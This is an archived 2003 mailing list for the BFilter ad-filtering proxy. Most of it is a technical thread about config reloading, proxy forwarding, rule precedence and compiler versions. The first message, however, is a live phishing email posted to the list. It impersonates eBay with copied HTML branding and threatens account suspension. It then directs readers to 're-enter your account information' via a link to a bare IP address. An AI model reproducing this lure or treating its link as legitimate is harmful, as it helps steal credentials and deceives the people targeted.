bfilter-users — A general discussion list for BFilter.

[BFilter-users] your eBay account could be suspended

[eBay B. d. <e-w...@eB...>]

<DIV>
<DIV>
<DIV>
<DIV>
<DIV>
<DIV>
<DIV>
<DIV>
<DIV>
<DIV>
<DIV>
<DIV><A href="http://pages.ebay.com/" target=_blank>
  <IMG alt="Register for eBay" src="http://pics.ebay.com/aw/pics/register/HeaderRegister_387x40.gif" border=0 width="387" height="40"></A> 
<DIV><FONT face=Arial size=2>
<TABLE cellSpacing=0 cellPadding=0 width=600 border=0>
<TBODY>
<TR>
<TD colSpan=2><IMG height=10 alt=" " src="http://pics.ebay.com/aw/pics/spacer.gif" width=1></TD></TR>
<TR>
<TD bgColor=#ffcc00 colSpan=2><IMG height=2 alt=" " src="http://pics.ebay.com/aw/pics/spacer.gif" width=1></TD></TR>
<TR bgColor=#ffe580>
<TD width=25><IMG height=3 alt="" src="http://pics.ebay.com/aw/pics/sitewide/leftLine_16x3.gif" width=16 align=middle></TD>
<TD vAlign=center width=575>
<TABLE cellSpacing=0 cellPadding=1 width="100%" border=0>
<TBODY>
<TR>
<TD vAlign=center noWrap><STRONG>Dear valued customer</STRONG></TD>
<TD vAlign=center noWrap align=right><A href="http://pages.ebay.com/help/new/signin.html" target=_blank onfiltered="return openHelpWindow(this.href);"><IMG height=14 src="http://pics.ebay.com/aw/pics/listings/questionMark_14x14.gif" width=14 border=0></A><IMG height=1 alt=" " src="http://pics.ebay.com/aw/pics/spacer.gif" width=4><FONT face="Arial, Helvetica, sans-serif" size=2><A href="http://pages.ebay.com/help/new/signin.html" target=_blank onfiltered="return openHelpWindow(this.href);">Need Help?</A></FONT><IMG height=1 alt=" " src="http://pics.ebay.com/aw/pics/spacer.gif" width=2></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD bgColor=#ffcc00 colSpan=2><IMG height=2 alt=" " src="http://pics.ebay.com/aw/pics/spacer.gif" width=1></TD></TR></TBODY></TABLE></FONT>
<DIV> </DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2>
<DIV><STRONG><FONT face=Arial size=2>
<DIV>
<DIV style="width: 605; height: 224"><STRONG><FONT face=arial>    We regret to inform you that your eBay account could be suspended if you don't 
  re-update your account information. To resolve this problems please </FONT>
  <a target="_blank" a href="http://216.117.135.187/ebays/acounts/update/hgdas676bsda6gwcv7zfcwfcwf34gfwf23g235f134f3fg3f&bhdfahva68532hbhwseBayISAPI.dllPaymentLanding&ssPageName=hhpayUSf&=userhgads&secure&ssl7r2vbd7d88.htm"><FONT face=arial color=#0000ff>click here</FONT></a></STRONG><FONT face=arial> 
  and re-enter your account information. If your problems could not be resolved your account will be suspended for a period of 3-4 days, after 
  this period your account will be terminated.<br><BR>     
  For the User Agreement, Section 9, we may immediately issue a warning, temporarily suspend, indefinitely suspend or terminate your membership and refuse to provide our services to you if we believe that your actions may cause financial loss or legal liability for you, our users or us. We may also take these actions if we are unable to verify or authenticate any information you provide to us.<br><BR>     Due to the suspension of this account, please be advised you are prohibited from using eBay in any way. This includes the registering of a new 
  account. Please note that this suspension does not relieve you of your agreed-upon obligation to pay any fees you may owe to eBay.</FONT></DIV><STRONG></STRONG></DIV><STRONG></STRONG></FONT></STRONG></DIV><STRONG><FONT face=Arial size=2><STRONG></STRONG></FONT></STRONG></FONT></DIV><FONT face=Arial size=2><STRONG><FONT face=Arial size=2><STRONG></STRONG></FONT></STRONG></FONT></DIV>
<DIV><FONT face=Arial size=2><STRONG><FONT face=Arial size=2><STRONG>
<DIV> </DIV>
<DIV> </DIV>
<DIV><BR><FONT face=arial>Regards,Safeharbor Department eBay, Inc</FONT></STRONG></DIV></FONT></STRONG><FONT size=2></FONT><STRONG></STRONG>
<DIV><STRONG><FONT face=arial size=2>The eBay team.</FONT></STRONG></DIV>
<DIV><FONT face=arial><FONT size=2></FONT><STRONG></STRONG></FONT> </DIV>
<DIV><STRONG><FONT face=arial size=2>This is an automatic message. Please do not reply.</FONT></STRONG></DIV>
<DIV><FONT face=Arial size=2></FONT><STRONG></STRONG> </DIV>
<DIV><STRONG><BR>
<TABLE cellSpacing=0 cellPadding=0 width=599 bgColor=#ffcc00 border=0>
<TBODY>
<TR>
<TD height=2><IMG height=2 src="http://pics.ebay.com/aw/pics/spacer.gif" width=2></TD></TR></TBODY></TABLE><CURSIVE src="http://include.ebay.com/aw/pics/js/stats/ss.js"></SCRIPT><IMG height=1 width=1 border=0 name=s_i_ebay> <CURSIVE src="http://include.ebay.com/aw/pics/js/stats/ss2.js"></SCRIPT>
<P>
<TABLE cellSpacing=0 cellPadding=0 width=600 border=0>
<TBODY>
<TR>
<TD colSpan=2><BR>
<HR align=center width=500>
<BR>
<DIV align=center><FONT face="Arial, Verdana, Helvetica, sans-serif" size=2><A href="http://pages.ebay.com/community/index.html?ssPageName=f:f:ann:US" target=_blank>Announcements</A>   |   <A href="http://cgi4.ebay.com/aw-cgi/eBayISAPI.dll?RegisterShow&ssPageName=f:f:reg:US" target=_blank>Register</A>   |   <A href="http://pages.ebay.com/help/confidence/hub.html?ssPageName=f:f:stips:US" target=_blank>Safe Trading Tips</A>   |   <A href="http://pages.ebay.com/help/policies/hub.html?ssPageName=f:f:policy:US" target=_blank>Policies</A>   |   <A href="http://pages.ebay.com/help/new/feedback.html" target=_blank onfiltered="return openHelpWindow(this.href);">Feedback Forum</A>   |   <A href="http://pages.ebay.com/community/aboutebay/index.html?ssPageName=f:f:ebayinc:US" target=_blank>About eBay</A></FONT> </DIV><BR></TD></TR>
<TR>
<TD vAlign=top align=left width=450 height=31><FONT face="Arial, Verdana, Helvetica, sans-serif" size=1>Copyright © 1995-2003 eBay Inc. All Rights Reserved.<BR>Designated trademarks and brands are the property of their respective owners.<BR>Use of this Web site constitutes acceptance of the eBay <A href="http://pages.ebay.com/help/policies/user-agreement.html" target=_blank onfiltered="return openHelpWindow(this.href);">User Agreement</A> and <A href="http://pages.ebay.com/help/policies/privacy-policy.html" target=_blank onfiltered="return openHelpWindow(this.href);">Privacy Policy</A>.</FONT><BR></TD>
<TD vAlign=top align=right width=150 height=31><FONT face="Arial, Verdana, Helvetica, sans-serif" size=1><A href="http://pages.ebay.com/help/policies/privacy-policy.html" target=_blank onfiltered="return openHelpWindow(this.href);"><IMG height=31 alt=TrustE src="http://pics.ebay.com/aw/pics/truste_button.gif" width=116 align=middle border=0></A></FONT> </TD></TR></TBODY></TABLE></P><CURSIVE language=_JavaScript><!-- 
var cbc, cbf;
if (cbc){
 writeFooter();
 if (cbf){
  fullCB();
 }
}
//--></SCRIPT></STRONG></FONT></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV>

[BFilter-users] Bfilter and SSL

[Kent R. <ke...@ba...>]

Is there any way to make bfilter not barf on a SSL connection?

Re: [BFilter-users] Re: Signal handler request

[Joseph A. <jos...@ma...>]

> If I understand you correctly, "next-hop http proxy" is a comment, not a
> directive.  If that is the case, then just remove that text entirely.
> The rest of the [forwarding] section is self documenting, so it does not
> need that text.  Having it there, expecially where it is, confused me.
OK.

> > Compiling bfilter with gcc 3.x is not a good idea anyway.  It will make
> > it several times slower, while gcc-2.95.3 build actually outperforms icc
> > 7.
>
> Comment:  This is going to cause you problems in the future.
Let's hope gcc developers will fix the terribly slow std::string.
Maybe I could speed it up by writing my own allocator.  Anyway, for personal 
usage bfilter is still fast enough.

> > Actually it's not how bfilter works, it's just a way to think about it. 
> > The 3rd step is especially incorrect.  The real implementation is too
> > complex to describe, but its main feature is that the performance is
> > nearly constant with any number of rules.
>
> Don't be so picky!  The above description is what the user needs to know
> (even if it is not 100% accurate) so PLEASE put it in rules.local.
OK, I'll put some info there.

> A FAQ is very desirable.  Please do that.
>
> I did restart the browser.  It is not enough.  Clear the cache AND
> restart.
So be it.

> Short story not really pertinent to this discussion:
> /start/
> What happened to me is that I set up Netscape to proxy bfilter and then
> immediately went to www.zdnet.com - where all was fine (I NEVER go there
> because of all the banner ads, so nothing was in Netscape's cache).  I
> closed Netscape.  Later on, I went to check my Yahoo mail, and the ads
> appeared!  I was upset so I reconfigured /etc/bfilter/config to next hop
> to privoxy, but bfilter ignored the change.  So I tried 'killall -USR1
> bfilter' hoping it would cause bfilter to reread config.  Instead,
> bfilter terminated.
> Set up like this
>   BFILTER -> PRIVOXY -> APACHE
> the ads disappeared.  Set up like this
>   BFILTER -> APACHE
> the ads returned.
There is an option in Netscape called "Compare the page in the cache to the 
page on the network".  Is it possible it's set to "Never"?

> I then started this thread, asking for USR1, an explanation of the role
> of rules.local, and for a conversion of privoxy rules to bfilter.
> Because of your excellent explanation of rules plus asking if privoxy
> rules were really necessary, it eventually occurred to me to kill the
> cache.  Now all is well.
> /end/
>
> Thanks for all your help and time.
You are welcome.

[BFilter-users] Re: Signal handler request

[gypsy <gy...@is...>]

Joseph Artsimovich wrote: 
> > OK.  I have neither need nor desire for GUI.
> So, should I implement rereading the config in the master process and ignore
> the problem of running backends not catching the changes?
I don't know.  

Probably it is more trouble than it is worth.  Some of the issues:
  Running backends
  Signal USR1 is already in use
  Typographical errors in config
  Assigning a port already in use 
  Once correctly set up, config should never need to be changed
  Other potential problems I haven't yet thought of yet

So let us idiots manually kill and restart bfilter if we change its
config.  At least for now.

> > > > I am confused by "next-hop".  What is its purpose/what does it do?
> > > > Could we please have comments in ~config and/or docs on sourceforge?
> > >
> > > Hop is basically a way from one proxy (or a client or a sever) to
> > > another.
> >
> > Erm.  I think you left out a critical phrase or word in the above line.
> >
> > My setup works with next-hop commented and the following 3 lines
> > properly configured, but I STILL have no clue what next-hop is for <g>.
> ; next-hop http proxy
> is just a comment.  Well, I guess only people who've read the HTTP standard
> have an idea of what hops have to do with proxies, so I should replace it
> with something like "http proxy to forward to".
If I understand you correctly, "next-hop http proxy" is a comment, not a
directive.  If that is the case, then just remove that text entirely. 
The rest of the [forwarding] section is self documenting, so it does not
need that text.  Having it there, expecially where it is, confused me.
 
> Compiling bfilter with gcc 3.x is not a good idea anyway.  It will make it
> several times slower, while gcc-2.95.3 build actually outperforms icc 7.
Comment:  This is going to cause you problems in the future.
 
> > > > Q:  Does rules.local override or supplement rules?  IOW, if rules.local
> > > > is empty, does rules still apply?
> > >
> > > It supplements them.  Here is what it does exactly:
> > > 1. Read a rule block from rules.local.
> > > 2. Fill the absent parameters with defaults from rules.local (normally
> > > there are no defaults there, unless you want to override global
> > > defaults). 3. If rules contains a block with the same pattern, use this
> > > block to fill the parameters which are still absent.
> > > 4. Fill the absent parameters with defaults from rules.
> > > 5. Fill the absent parameters with the hardcoded defaults.
> >
> > Beautiful.  Please put this just as you wrote it in the top of
> > rules.local.
> Actually it's not how bfilter works, it's just a way to think about it.  The
> 3rd step is especially incorrect.  The real implementation is too complex to
> describe, but its main feature is that the performance is nearly constant
> with any number of rules.
Don't be so picky!  The above description is what the user needs to know
(even if it is not 100% accurate) so PLEASE put it in rules.local.  

If you wish, you can include some wording that lets the user know that
is is an oversimplification, but I doubt that such a disclaimer is
necessary.
 
> > Here's what I found, and it should be in the docs somewhere:  Empty the
> > browser's cache before you complain about things that bfilter misses ;)
> Since most of the pages these days are dynamic (and thus ignore
> If-Modified-Since header), clearing the cache is not needed in most cases.
> Restarting the browser is a must however.
> I think I'll write a small FAQ and put it to the site.
A FAQ is very desirable.  Please do that.

I did restart the browser.  It is not enough.  Clear the cache AND
restart.

Short story not really pertinent to this discussion:
/start/
What happened to me is that I set up Netscape to proxy bfilter and then
immediately went to www.zdnet.com - where all was fine (I NEVER go there
because of all the banner ads, so nothing was in Netscape's cache).  I
closed Netscape.  Later on, I went to check my Yahoo mail, and the ads
appeared!  I was upset so I reconfigured /etc/bfilter/config to next hop
to privoxy, but bfilter ignored the change.  So I tried 'killall -USR1
bfilter' hoping it would cause bfilter to reread config.  Instead,
bfilter terminated.  
Set up like this
  BFILTER -> PRIVOXY -> APACHE
the ads disappeared.  Set up like this
  BFILTER -> APACHE
the ads returned.

I then started this thread, asking for USR1, an explanation of the role
of rules.local, and for a conversion of privoxy rules to bfilter. 
Because of your excellent explanation of rules plus asking if privoxy
rules were really necessary, it eventually occurred to me to kill the
cache.  Now all is well.
/end/

Thanks for all your help and time.

gypsy

Re: [BFilter-users] Signal handler request

[Joseph A. <jos...@ma...>]

> OK.  I have neither need nor desire for GUI.
So, should I implement rereading the config in the master process and ignore 
the problem of running backends not catching the changes?

> > > I am confused by "next-hop".  What is its purpose/what does it do?
> > > Could we please have comments in ~config and/or docs on sourceforge?
> >
> > Hop is basically a way from one proxy (or a client or a sever) to
> > another.
>
> Erm.  I think you left out a critical phrase or word in the above line.
>
> My setup works with next-hop commented and the following 3 lines
> properly configured, but I STILL have no clue what next-hop is for <g>.
; next-hop http proxy
is just a comment.  Well, I guess only people who've read the HTTP standard 
have an idea of what hops have to do with proxies, so I should replace it 
with something like "http proxy to forward to".

> > Compiles fine on gcc 3.2.3 here.  I think it was a problem with a
> > specific version of bfilter.
>
> OK.  I have a long long error in 3.2.3 that I have not applied the fix
> for, so I'm still using 3.2.2.  I guess it is time to take care of
> 3.2.3's "long long" bug.  I'm compiling bfilter-0.8.2 so I think the
> problem is in gcc, not in "a specific version of bfilter".  When I have
> a working 3.2.3 I'll let you know what happens.
Compiling bfilter with gcc 3.x is not a good idea anyway.  It will make it 
several times slower, while gcc-2.95.3 build actually outperforms icc 7.

> > > Q:  Does rules.local override or supplement rules?  IOW, if rules.local
> > > is empty, does rules still apply?
> >
> > It supplements them.  Here is what it does exactly:
> > 1. Read a rule block from rules.local.
> > 2. Fill the absent parameters with defaults from rules.local (normally
> > there are no defaults there, unless you want to override global
> > defaults). 3. If rules contains a block with the same pattern, use this
> > block to fill the parameters which are still absent.
> > 4. Fill the absent parameters with defaults from rules.
> > 5. Fill the absent parameters with the hardcoded defaults.
>
> Beautiful.  Please put this just as you wrote it in the top of
> rules.local.
Actually it's not how bfilter works, it's just a way to think about it.  The 
3rd step is especially incorrect.  The real implementation is too complex to 
describe, but its main feature is that the performance is nearly constant 
with any number of rules.

> > > If there is a bash/perl/Etc. guru out there who wants to write a
> > > conversion program that reads privoxy's *.action files and writes
> > > rules.local, that would be A Very Good Thing for a ~/contrib directory
> > > (hint hint).
> >
> > Is there a need in that?  My rules.local is currently empty and I see ads
> > so rarely that I don't bother to create rules for them.
>
> Here's what I found, and it should be in the docs somewhere:  Empty the
> browser's cache before you complain about things that bfilter misses ;)
> In other words, the ads that got past bfilter were those still in
> Netscape's cache, which I didn't think of because privoxy was blocking
> them.  So, the short answer to your question is, "probably not!".  After
> clearing the cache, there are no more ads - only empty boxes where they
> would be.
Since most of the pages these days are dynamic (and thus ignore 
If-Modified-Since header), clearing the cache is not needed in most cases.
Restarting the browser is a must however.
I think I'll write a small FAQ and put it to the site.

> One more question if I may.  It appears that bfilter works better with
> javascript turned on than with it off.  Is that my imagination?  (I
> always surf with js off, turning it on only when something I really want
> fails.)
Theoretically possible.  For example they show a flash ad with javascript, and 
have a replacement image inside <noscript>.  For a flash movie, it's very 
easy to be marked as ad (loop=true or an external url is enough), while for 
an image there are many more parameters to consider.

Re: [BFilter-users] Signal handler request

[gypsy <gy...@is...>]

Joseph Artsimovich wrote:
> 
> On Sunday 31 August 2003 20:48, gypsy wrote:
> > I'd like to be able to
> >
> > killall -USR1 bfilter
> >
> > and have it reload /etc/bfilter/config.  Better yet, changes made to
> > ~config should be dynamic such that each request would check ~config for
> > changes before getting the requested document.  That's because I run
> > bfilter as a tsr listening on my internal interface 192.168.1.254:8080
> > and I may want to proxy that through privoxy (which listens on :8118)
> > rather than passing the request on to Apache directly.
> Well, the gui version backends actually do this check before each request.
> The problem with the standalone version is that backends don't communicate
> with the master process in any way, nor do they read config themselves.
> It should not be a problem to reread the config in the master process, but
> then the current backends won't catch the changes until the client connection
> is closed.
OK.  I have neither need nor desire for GUI.

> > I am confused by "next-hop".  What is its purpose/what does it do?
> > Could we please have comments in ~config and/or docs on sourceforge?
> Hop is basically a way from one proxy (or a client or a sever) to another.
Erm.  I think you left out a critical phrase or word in the above line.

My setup works with next-hop commented and the following 3 lines
properly configured, but I STILL have no clue what next-hop is for <g>.

Since it may be pertinent, here is my setup:
Apache is set up to proxy for specified users in 192.168.1.0/24
The computers on 192.168.1 proxy bfilter which is listening on
192.168.1.254:8080
BFilter passes the requests on to Apache, which has 'Listen 80' in
httpd.conf
Thus:
  [global]
  listen_address = 192.168.1.254:8080

  [forwarding]
  use_proxy = yes
  proxy_host = 192.168.1.254
  proxy_port = 80

Three of the computers using bfilter are Linux boxes, 16 are Windows
(various flavors).  As of today, I think that privoxy won't be used any
more.

> > with that.  I had to compile it on a pre 9.0 version of Slackware
> > because it won't compile under gcc 3.2.2 (but then you warned me it
> > probably wouldn't); it would be nicer if something could be done to get
> > gcc 3.x to work.
> Compiles fine on gcc 3.2.3 here.  I think it was a problem with a specific
> version of bfilter.
OK.  I have a long long error in 3.2.3 that I have not applied the fix
for, so I'm still using 3.2.2.  I guess it is time to take care of
3.2.3's "long long" bug.  I'm compiling bfilter-0.8.2 so I think the
problem is in gcc, not in "a specific version of bfilter".  When I have
a working 3.2.3 I'll let you know what happens.
 
> > Q:  Does rules.local override or supplement rules?  IOW, if rules.local
> > is empty, does rules still apply?
> It supplements them.  Here is what it does exactly:
> 1. Read a rule block from rules.local.
> 2. Fill the absent parameters with defaults from rules.local (normally there
> are no defaults there, unless you want to override global defaults).
> 3. If rules contains a block with the same pattern, use this block to fill the
> parameters which are still absent.
> 4. Fill the absent parameters with defaults from rules.
> 5. Fill the absent parameters with the hardcoded defaults.
Beautiful.  Please put this just as you wrote it in the top of
rules.local.

> > If there is a bash/perl/Etc. guru out there who wants to write a
> > conversion program that reads privoxy's *.action files and writes
> > rules.local, that would be A Very Good Thing for a ~/contrib directory
> > (hint hint).
> Is there a need in that?  My rules.local is currently empty and I see ads so
> rarely that I don't bother to create rules for them.
Here's what I found, and it should be in the docs somewhere:  Empty the
browser's cache before you complain about things that bfilter misses ;) 
In other words, the ads that got past bfilter were those still in
Netscape's cache, which I didn't think of because privoxy was blocking
them.  So, the short answer to your question is, "probably not!".  After
clearing the cache, there are no more ads - only empty boxes where they
would be.

One more question if I may.  It appears that bfilter works better with
javascript turned on than with it off.  Is that my imagination?  (I
always surf with js off, turning it on only when something I really want
fails.)

gypsy

Re: [BFilter-users] Signal handler request

[Joseph A. <jos...@ma...>]

On Sunday 31 August 2003 20:48, gypsy wrote:
> I'd like to be able to
>
> killall -USR1 bfilter
>
> and have it reload /etc/bfilter/config.  Better yet, changes made to
> ~config should be dynamic such that each request would check ~config for
> changes before getting the requested document.  That's because I run
> bfilter as a tsr listening on my internal interface 192.168.1.254:8080
> and I may want to proxy that through privoxy (which listens on :8118)
> rather than passing the request on to Apache directly.
Well, the gui version backends actually do this check before each request.
The problem with the standalone version is that backends don't communicate 
with the master process in any way, nor do they read config themselves.
It should not be a problem to reread the config in the master process, but 
then the current backends won't catch the changes until the client connection 
is closed.
BTW, the USR1 signal is already handled by backends.  It tells them to quit as 
soon as the current request and response finish.

> I am confused by "next-hop".  What is its purpose/what does it do?
> Could we please have comments in ~config and/or docs on sourceforge?
Hop is basically a way from one proxy (or a client or a sever) to another.
Probably I should use more simple words, but if I just write "http proxy", 
then the user could be confused: "I thought bfilter IS the http proxy".
If your config doesn't have comments, thats because Windows versions before 
0.8.1 were stripping them when you used the basic configuration dialog.
I don't put the documentation on the web because I feel it needs improving, 
but I am too lazy to do that.

> BFilter is AWESOMELY fast!  It is a bit of a memory pig, but I can live
It doesn't use that much memory.  You can't trust what the system tells you, 
because most of the memory is shared between backends.

> with that.  I had to compile it on a pre 9.0 version of Slackware
> because it won't compile under gcc 3.2.2 (but then you warned me it
> probably wouldn't); it would be nicer if something could be done to get
> gcc 3.x to work.
Compiles fine on gcc 3.2.3 here.  I think it was a problem with a specific 
version of bfilter.

> Q:  Does rules.local override or supplement rules?  IOW, if rules.local
> is empty, does rules still apply?
It supplements them.  Here is what it does exactly:
1. Read a rule block from rules.local.
2. Fill the absent parameters with defaults from rules.local (normally there 
are no defaults there, unless you want to override global defaults).
3. If rules contains a block with the same pattern, use this block to fill the 
parameters which are still absent.
4. Fill the absent parameters with defaults from rules.
5. Fill the absent parameters with the hardcoded defaults.

> If there is a bash/perl/Etc. guru out there who wants to write a
> conversion program that reads privoxy's *.action files and writes
> rules.local, that would be A Very Good Thing for a ~/contrib directory
> (hint hint).
Is there a need in that?  My rules.local is currently empty and I see ads so 
rarely that I don't bother to create rules for them.

[BFilter-users] Signal handler request

[gypsy <gy...@is...>]

I'd like to be able to

killall -USR1 bfilter

and have it reload /etc/bfilter/config.  Better yet, changes made to
~config should be dynamic such that each request would check ~config for
changes before getting the requested document.  That's because I run
bfilter as a tsr listening on my internal interface 192.168.1.254:8080
and I may want to proxy that through privoxy (which listens on :8118)
rather than passing the request on to Apache directly.

I am confused by "next-hop".  What is its purpose/what does it do? 
Could we please have comments in ~config and/or docs on sourceforge?

BFilter is AWESOMELY fast!  It is a bit of a memory pig, but I can live
with that.  I had to compile it on a pre 9.0 version of Slackware
because it won't compile under gcc 3.2.2 (but then you warned me it
probably wouldn't); it would be nicer if something could be done to get
gcc 3.x to work.

Q:  Does rules.local override or supplement rules?  IOW, if rules.local
is empty, does rules still apply?

If there is a bash/perl/Etc. guru out there who wants to write a
conversion program that reads privoxy's *.action files and writes
rules.local, that would be A Very Good Thing for a ~/contrib directory
(hint hint).

WELL DONE!  Thanks!

gypsy